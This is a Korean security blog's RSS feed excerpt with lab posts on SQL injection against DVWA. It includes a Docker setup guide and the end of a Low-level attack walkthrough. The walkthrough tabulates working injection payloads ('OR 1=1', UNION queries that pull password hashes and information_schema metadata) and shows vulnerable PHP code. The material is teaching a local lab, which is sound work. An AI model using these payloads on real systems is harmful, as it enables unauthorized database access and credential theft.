&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;2026-07-14 19 55 43.png&quot; data-origin-width=&quot;1034&quot; data-origin-height=&quot;721&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eu4Vdd/dJMcaa0jPHj/2sK35LdsD4l8tZ6wsDgAKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eu4Vdd/dJMcaa0jPHj/2sK35LdsD4l8tZ6wsDgAKk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eu4Vdd/dJMcaa0jPHj/2sK35LdsD4l8tZ6wsDgAKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Feu4Vdd%2FdJMcaa0jPHj%2F2sK35LdsD4l8tZ6wsDgAKk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1034&quot; height=&quot;721&quot; data-filename=&quot;2026-07-14 19 55 43.png&quot; data-origin-width=&quot;1034&quot; data-origin-height=&quot;721&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;div data-sourcepos=&quot;223:1-228:4;3580-3655&quot;&gt;
&lt;div&gt;
&lt;pre class=&quot;angelscript&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;결과:
admin   : 2026-07-14 10:42:27
gordonb : 2026-07-14 10:42:27
...&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-sourcepos=&quot;232:1-232:23;3662-3684&quot; data-ke-size=&quot;size26&quot;&gt;9. Low 레벨 취약한 코드 확인&lt;/h2&gt;
&lt;p data-sourcepos=&quot;234:1-234:50;3686-3735&quot; data-ke-size=&quot;size16&quot;&gt;오른쪽 하단 &lt;b&gt;View Source&lt;/b&gt; 클릭하면 취약한 PHP 코드를 확인할 수 있다.&lt;/p&gt;
&lt;div data-sourcepos=&quot;236:1-239:4;3737-3831&quot;&gt;
&lt;div&gt;php&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;bash&quot; style=&quot;color: #14181f;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;$query = &quot;SELECT first_name, last_name FROM users WHERE user_id = '$id';&quot;;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div data-sourcepos=&quot;241:1-244:4;3833-3881&quot;&gt;
&lt;div&gt;
&lt;pre class=&quot;applescript&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;입력값 $id를 그대로 쿼리에 삽입
&amp;rarr; 검증 없음 &amp;rarr; SQL 인젝션 가능&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-sourcepos=&quot;248:1-248:19;3888-3906&quot; data-ke-size=&quot;size26&quot;&gt;Low 레벨 실습 전체 정리&lt;/h2&gt;
&lt;div data-sourcepos=&quot;250:1-259:69;3908-4462&quot;&gt;단계입력값결과
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;정상 조회 확인&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;1'&lt;/td&gt;
&lt;td&gt;SQL 에러 &amp;rarr; 인젝션 가능 확인&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;1' OR '1'='1&lt;/td&gt;
&lt;td&gt;전체 사용자 목록 추출&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;1' UNION SELECT user, password FROM users #&lt;/td&gt;
&lt;td&gt;비밀번호 해시 추출&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;1' UNION SELECT version(), database() #&lt;/td&gt;
&lt;td&gt;DB 버전/이름 추출&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;1' UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema='dvwa' #&lt;/td&gt;
&lt;td&gt;테이블 목록 추출&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;1' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='users' #&lt;/td&gt;
&lt;td&gt;컬럼 목록 추출&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;1' UNION SELECT user, last_login FROM users #&lt;/td&gt;
&lt;td&gt;원하는 데이터 추출&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-sourcepos=&quot;263:1-263:7;4469-4475&quot; data-ke-size=&quot;size26&quot;&gt;마무리&lt;/h2&gt;
&lt;p data-sourcepos=&quot;265:1-265:159;4477-4635&quot; data-ke-size=&quot;size16&quot;&gt;Low 레벨에서는 입력값 검증이 전혀 없어서 기본적인 SQL 인젝션 기법이 그대로 통한다. 특히 information_schema를 활용하면 DB 구조를 통째로 파악할 수 있다는 게 가장 위험한 포인트다. 비밀번호까지 추출하고 나면 사실상 DB 전체가 공격자 손에 넘어간 것이다.&lt;/p&gt;
&lt;p data-sourcepos=&quot;267:1-267:54;4637-4690&quot; data-ke-size=&quot;size16&quot;&gt;다음 글에서는 Medium 레벨로 올려서 필터링이 걸렸을 때 어떻게 우회하는지 다뤄볼 예정이다.&lt;/p&gt;
&lt;p data-sourcepos=&quot;269:1-269:43;4692-4734&quot; data-ke-size=&quot;size16&quot;&gt;더 나은 방법이나 실제 운영 환경에서의 개선점이 있다면 댓글로 공유해주세요.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-sourcepos=&quot;273:1-273:17;4741-4757&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;이 블로그의 관련 글:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-sourcepos=&quot;274:1-275:45;4758-4852&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-sourcepos=&quot;274:1-274:50;4758-4807&quot;&gt;&lt;a href=&quot;https://y0-0ns.tistory.com/29&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;SQL 인젝션 실습 1편 - DVWA 환경 구성&lt;/a&gt;&amp;nbsp;&lt;/li&gt;
&lt;li data-sourcepos=&quot;275:1-275:45;4808-4852&quot;&gt;&lt;a href=&quot;https://y0-0ns.tistory.com/28&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;CWE-89: SQL 인젝션 완전 정리&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>정보 보안/모의해킹</category>
      <category>DVWA</category>
      <category>informationschema</category>
      <category>SQLInjection</category>
      <category>sql인젝션</category>
      <category>union</category>
      <category>모의해킹</category>
      <category>보안실습</category>
      <category>실습</category>
      <author>y0.0ns</author>
      <guid isPermaLink="true">https://y0-0ns.tistory.com/30</guid>
      <comments>https://y0-0ns.tistory.com/30#entry30comment</comments>
      <pubDate>Wed, 15 Jul 2026 23:47:46 +0900</pubDate>
    </item>
    <item>
      <title>SQL 인젝션 실습 1편 - DVWA 환경 구성 (Docker)</title>
      <link>https://y0-0ns.tistory.com/29</link>
      <description>&lt;h2 data-sourcepos=&quot;7:1-7:8;114-121&quot; data-ke-size=&quot;size26&quot;&gt;들어가며&lt;/h2&gt;
&lt;p data-sourcepos=&quot;9:1-9:153;123-275&quot; data-ke-size=&quot;size16&quot;&gt;SQL 인젝션 개념 글에서 원리를 정리했는데, 직접 실습해보고 싶어서 DVWA를 Docker로 띄워봤다. 버퍼 오버플로우 실습 때처럼 Docker를 활용하면 내 PC에 영향 없이 취약한 환경을 만들 수 있다. 생각보다 환경 구성이 간단해서 금방 실습까지 들어갈 수 있었다.&lt;/p&gt;
&lt;blockquote data-sourcepos=&quot;11:1-11:94;277-370&quot; data-ke-style=&quot;style2&quot;&gt;
&lt;p data-sourcepos=&quot;11:3-11:94;279-370&quot; data-ke-size=&quot;size16&quot;&gt;⚠️ 주의: DVWA는 의도적으로 취약하게 만들어진 실습용 애플리케이션이다. 반드시 로컬 환경에서만 사용하고 인터넷에 노출되는 서버에는 절대 올리지 말 것.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-sourcepos=&quot;13:1-13:61;372-432&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;SQL 인젝션 개념 글:&lt;/b&gt; &lt;a href=&quot;https://y0-0ns.tistory.com/28&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;CWE-89: SQL 인젝션 완전 정리&lt;/a&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-sourcepos=&quot;17:1-17:13;439-451&quot; data-ke-size=&quot;size26&quot;&gt;1. DVWA란?&lt;/h2&gt;
&lt;div data-sourcepos=&quot;19:1-27:4;453-624&quot;&gt;
&lt;div&gt;
&lt;pre class=&quot;sql&quot; style=&quot;color: #14181f;&quot; data-ke-language=&quot;sql&quot;&gt;&lt;code&gt;Damn Vulnerable Web Application의 줄임말
&amp;rarr; 의도적으로 취약하게 만들어진 웹 애플리케이션

목적:
&amp;rarr; SQL 인젝션, XSS, CSRF, Command 인젝션 등
  다양한 웹 취약점을 안전한 환경에서 실습
&amp;rarr; 난이도 조절 가능 (Low / Medium / High)&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-sourcepos=&quot;29:1-29:23;626-648&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-sourcepos=&quot;29:1-29:23;626-648&quot; data-ke-size=&quot;size16&quot;&gt;왼쪽 메뉴에서 확인 가능한 취약점 목록:&lt;/p&gt;
&lt;div data-sourcepos=&quot;31:1-38:31;650-895&quot;&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt; 항목 &lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt; 설명 &lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SQL Injection&lt;/td&gt;
&lt;td&gt;SQL 인젝션 실습&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SQL Injection (Blind)&lt;/td&gt;
&lt;td&gt;Blind SQL 인젝션 실습&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;XSS (DOM/Reflected/Stored)&lt;/td&gt;
&lt;td&gt;XSS 세 가지 유형 실습&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Command Injection&lt;/td&gt;
&lt;td&gt;OS 명령어 인젝션 실습&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Brute Force&lt;/td&gt;
&lt;td&gt;무차별 대입 공격 실습&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;File Upload&lt;/td&gt;
&lt;td&gt;악성 파일 업로드 실습&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-sourcepos=&quot;42:1-42:12;902-913&quot; data-ke-size=&quot;size26&quot;&gt;2. 사전 준비&lt;/h2&gt;
&lt;p data-sourcepos=&quot;44:1-44:44;915-958&quot; data-ke-size=&quot;size16&quot;&gt;Docker가 설치되어 있어야 한다. Docker 설치 방법은 아래 글 참고.&lt;/p&gt;
&lt;p data-sourcepos=&quot;46:1-46:64;960-1023&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Docker 환경 구성 글:&lt;/b&gt; &lt;a href=&quot;https://y0-0ns.tistory.com/23&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;버퍼 오버플로우 실습 1편 - 환경 구성&lt;/a&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-sourcepos=&quot;50:1-50:14;1030-1043&quot; data-ke-size=&quot;size26&quot;&gt;3. DVWA 실행&lt;/h2&gt;
&lt;p data-sourcepos=&quot;52:1-52:17;1045-1061&quot; data-ke-size=&quot;size16&quot;&gt;CMD에서 아래 명령어 입력:&lt;/p&gt;
&lt;div data-sourcepos=&quot;54:1-56:4;1063-1144&quot;&gt;
&lt;div&gt;bash&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;applescript&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;docker run -it --privileged -p 80:80 --name dvwa vulnerables/web-dvwa&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-sourcepos=&quot;60:1-60:12;1180-1191&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;명령어 설명:&lt;/b&gt;&lt;/p&gt;
&lt;div data-sourcepos=&quot;62:1-70:4;1193-1465&quot;&gt;
&lt;div&gt;
&lt;pre class=&quot;groovy&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;-it          : 터미널 입출력 활성화
--privileged : 컨테이너에 높은 권한 부여
               (Apache, MySQL 내부 서비스 실행 목적)
-p 80:80     : 컨테이너 80 포트를 내 PC 80 포트로 연결
               &amp;rarr; 브라우저에서 http://localhost 로 접속 가능
--name dvwa  : 컨테이너 이름 지정
vulnerables/web-dvwa : Docker Hub의 DVWA 공식 이미지&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-sourcepos=&quot;74:1-74:22;1472-1493&quot; data-ke-size=&quot;size26&quot;&gt;4. 브라우저에서 접속 및 로그인&lt;/h2&gt;
&lt;p data-sourcepos=&quot;76:1-76:8;1495-1502&quot; data-ke-size=&quot;size16&quot;&gt;브라우저에서:&lt;/p&gt;
&lt;div data-sourcepos=&quot;78:1-80:4;1504-1528&quot;&gt;
&lt;div&gt;
&lt;pre class=&quot;dts&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;http://localhost&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-sourcepos=&quot;82:1-82:21;1530-1550&quot; data-ke-size=&quot;size16&quot;&gt;접속하면 &lt;b&gt;로그인 화면&lt;/b&gt;이 뜬다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;2026-07-14 19 42 42.png&quot; data-origin-width=&quot;1848&quot; data-origin-height=&quot;681&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lhNbE/dJMcaic3qnG/mB4KkyE74vADj3F5FZTJ61/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lhNbE/dJMcaic3qnG/mB4KkyE74vADj3F5FZTJ61/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lhNbE/dJMcaic3qnG/mB4KkyE74vADj3F5FZTJ61/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlhNbE%2FdJMcaic3qnG%2FmB4KkyE74vADj3F5FZTJ61%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1848&quot; height=&quot;681&quot; data-filename=&quot;2026-07-14 19 42 42.png&quot; data-origin-width=&quot;1848&quot; data-origin-height=&quot;681&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;div data-sourcepos=&quot;84:1-87:4;1552-1582&quot;&gt;
&lt;div&gt;
&lt;pre class=&quot;avrasm&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;ID: admin
PW: password&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-sourcepos=&quot;93:1-93:13;1617-1629&quot; data-ke-size=&quot;size26&quot;&gt;5. DB 초기화&lt;/h2&gt;
&lt;p data-sourcepos=&quot;95:1-95:36;1631-1666&quot; data-ke-size=&quot;size16&quot;&gt;로그인하면 &lt;b&gt;Database Setup&lt;/b&gt; 화면으로 이동한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;2026-07-14 19 41 44.png&quot; data-origin-width=&quot;1355&quot; data-origin-height=&quot;1639&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Cib1d/dJMcacDTVsr/TgpHO7aauWiETKbBtSO3AK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Cib1d/dJMcacDTVsr/TgpHO7aauWiETKbBtSO3AK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Cib1d/dJMcacDTVsr/TgpHO7aauWiETKbBtSO3AK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCib1d%2FdJMcacDTVsr%2FTgpHO7aauWiETKbBtSO3AK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1355&quot; height=&quot;1639&quot; data-filename=&quot;2026-07-14 19 41 44.png&quot; data-origin-width=&quot;1355&quot; data-origin-height=&quot;1639&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-sourcepos=&quot;99:1-99:35;1707-1741&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Create / Reset Database&lt;/b&gt; 버튼 클릭.&lt;/p&gt;
&lt;p data-sourcepos=&quot;101:1-101:34;1743-1776&quot; data-ke-size=&quot;size16&quot;&gt;클릭하면 DB가 생성되고 로그인 화면으로 이동&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-sourcepos=&quot;107:1-107:13;1831-1843&quot; data-ke-size=&quot;size26&quot;&gt;6. 다시 로그인&lt;/h2&gt;
&lt;div data-sourcepos=&quot;109:1-112:4;1845-1875&quot;&gt;
&lt;div&gt;
&lt;pre class=&quot;avrasm&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;ID: admin
PW: password&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;2026-07-14 19 43 08.png&quot; data-origin-width=&quot;1344&quot; data-origin-height=&quot;1803&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bJFFNe/dJMcadQcM7J/KJFvj3i3KGlE3Kkhk9n5l0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bJFFNe/dJMcadQcM7J/KJFvj3i3KGlE3Kkhk9n5l0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bJFFNe/dJMcadQcM7J/KJFvj3i3KGlE3Kkhk9n5l0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbJFFNe%2FdJMcadQcM7J%2FKJFvj3i3KGlE3Kkhk9n5l0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1344&quot; height=&quot;1803&quot; data-filename=&quot;2026-07-14 19 43 08.png&quot; data-origin-width=&quot;1344&quot; data-origin-height=&quot;1803&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-sourcepos=&quot;118:1-118:15;1915-1929&quot; data-ke-size=&quot;size26&quot;&gt;7. 메인 화면 확인&lt;/h2&gt;
&lt;p data-sourcepos=&quot;120:1-120:44;1931-1974&quot; data-ke-size=&quot;size16&quot;&gt;로그인하면 DVWA 메인 화면이 뜬다. 좌측 하단에서 현재 설정을 확인할 수 있다.&lt;/p&gt;
&lt;div data-sourcepos=&quot;122:1-126:4;1976-2036&quot;&gt;
&lt;div&gt;
&lt;pre class=&quot;bash&quot; style=&quot;color: #14181f;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;Username: admin
Security Level: low
PHPIDS: disabled&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-sourcepos=&quot;130:1-130:23;2070-2092&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Security Level 설명:&lt;/b&gt;&lt;/p&gt;
&lt;div data-sourcepos=&quot;132:1-136:33;2094-2223&quot;&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt; 레벨 &lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt; 설명 &lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Low&lt;/td&gt;
&lt;td&gt;입력값 검증 없음. 가장 취약한 상태. 실습 시작에 적합&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;td&gt;일부 필터링 적용. 우회 기법 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;td&gt;강한 보안 적용. 고급 우회 기법 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-sourcepos=&quot;138:1-138:13;2225-2237&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;PHPIDS란?&lt;/b&gt;&lt;/p&gt;
&lt;div data-sourcepos=&quot;139:1-144:4;2238-2361&quot;&gt;
&lt;div&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;PHP Intrusion Detection System
&amp;rarr; SQL 인젝션, XSS 같은 공격 패턴을 탐지/차단하는 보안 모듈
&amp;rarr; disabled = 꺼진 상태 &amp;rarr; 공격이 그대로 통과
&amp;rarr; 실습에 최적화된 상태&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-sourcepos=&quot;148:1-148:26;2368-2393&quot; data-ke-size=&quot;size26&quot;&gt;8. SQL Injection 메뉴 접속&lt;/h2&gt;
&lt;p data-sourcepos=&quot;150:1-150:30;2395-2424&quot; data-ke-size=&quot;size16&quot;&gt;왼쪽 메뉴에서 &lt;b&gt;SQL Injection&lt;/b&gt; 클릭.&lt;/p&gt;
&lt;p data-sourcepos=&quot;152:1-152:33;2426-2458&quot; data-ke-size=&quot;size16&quot;&gt;User ID 입력창이 있는 화면이 뜨면 환경 구성 완료.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;2026-07-14 19 44 35.png&quot; data-origin-width=&quot;1353&quot; data-origin-height=&quot;1280&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/exFSsQ/dJMcabroFKQ/6yN9bVx9VWeeVzNbKd33G1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/exFSsQ/dJMcabroFKQ/6yN9bVx9VWeeVzNbKd33G1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/exFSsQ/dJMcabroFKQ/6yN9bVx9VWeeVzNbKd33G1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FexFSsQ%2FdJMcabroFKQ%2F6yN9bVx9VWeeVzNbKd33G1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1353&quot; height=&quot;1280&quot; data-filename=&quot;2026-07-14 19 44 35.png&quot; data-origin-width=&quot;1353&quot; data-origin-height=&quot;1280&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-sourcepos=&quot;158:1-158:18;2506-2523&quot; data-ke-size=&quot;size26&quot;&gt;9. 컨테이너 재접속 방법&lt;/h2&gt;
&lt;p data-sourcepos=&quot;160:1-160:28;2525-2552&quot; data-ke-size=&quot;size16&quot;&gt;Docker Desktop을 껐다가 다시 켤 때:&lt;/p&gt;
&lt;div data-sourcepos=&quot;162:1-164:4;2554-2583&quot;&gt;
&lt;div&gt;bash&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;crmsh&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;docker start dvwa&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-sourcepos=&quot;166:1-166:41;2585-2625&quot; data-ke-size=&quot;size16&quot;&gt;브라우저에서 &lt;a href=&quot;http://localhost&quot;&gt;http://localhost&lt;/a&gt; 접속하면 바로 사용 가능하다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-sourcepos=&quot;170:1-170:7;2632-2638&quot; data-ke-size=&quot;size26&quot;&gt;마무리&lt;/h2&gt;
&lt;p data-sourcepos=&quot;172:1-172:100;2640-2739&quot; data-ke-size=&quot;size16&quot;&gt;DVWA 환경 구성이 완료됐다. 다음 글에서는 실제로 SQL 인젝션 공격을 단계별로 진행한다. Low 레벨에서 기본 공격부터 시작해서 DB 전체 정보를 추출하는 과정까지 다룬다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;다음 글:&lt;/b&gt; &lt;a href=&quot;https://y0-0ns.tistory.com/30&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;SQL 인젝션 실습 2편 - DVWA Low 레벨 공격&lt;/a&gt;&lt;/p&gt;</description>
      <category>정보 보안/모의해킹</category>
      <category>docker</category>
      <category>DVWA</category>
      <category>SQLInjection</category>
      <category>sql인젝션</category>
      <category>모의해킹</category>
      <category>보안실습</category>
      <category>실습환경</category>
      <category>웹취약점</category>
      <author>y0.0ns</author>
      <guid isPermaLink="true">https://y0-0ns.tistory.com/29</guid>
      <comments>https://y0-0ns.tistory.com/29#entry29comment</comments>
      <pubDate>Tue, 14 Jul 2026 20:08:21 +0900</pubDate>
    </item>
    <item>
      <title>[OWASP Top 10:2025 - A05] CWE-89: SQL 인젝션 완전 정리 - 원리부터 실무 탐지까지</title>
      <link>https://y0-0ns.tistory.com/28</link>
      <description>&lt;h2 data-sourcepos=&quot;7:1-7:8;159-166&quot; data-ke-size=&quot;size26&quot;&gt;들어가며&lt;/h2&gt;
&lt;p data-sourcepos=&quot;9:1-9:255;168-422&quot; data-ke-size=&quot;size16&quot;&gt;SQL 인젝션은 OWASP Top 10에서 2013년부터 꾸준히 상위권을 차지하고 있는 웹 취약점이다. 2021년까지 3위(A03)였다가 2025년에 5위(A05)로 내려갔지만, 순위가 낮아진 게 덜 위험해진 게 아니라 다른 위협들이 더 많이 발견됐기 때문이다. &quot;가장 오래됐고 가장 잘 알려진 취약점&quot;이지만 여전히 실제 공격에서 가장 많이 발견된다. 그만큼 개발자 교육도 많이 됐는데 왜 아직도 이렇게 자주 터지는지, 원리부터 실무 탐지까지 정리해봤다.&lt;/p&gt;
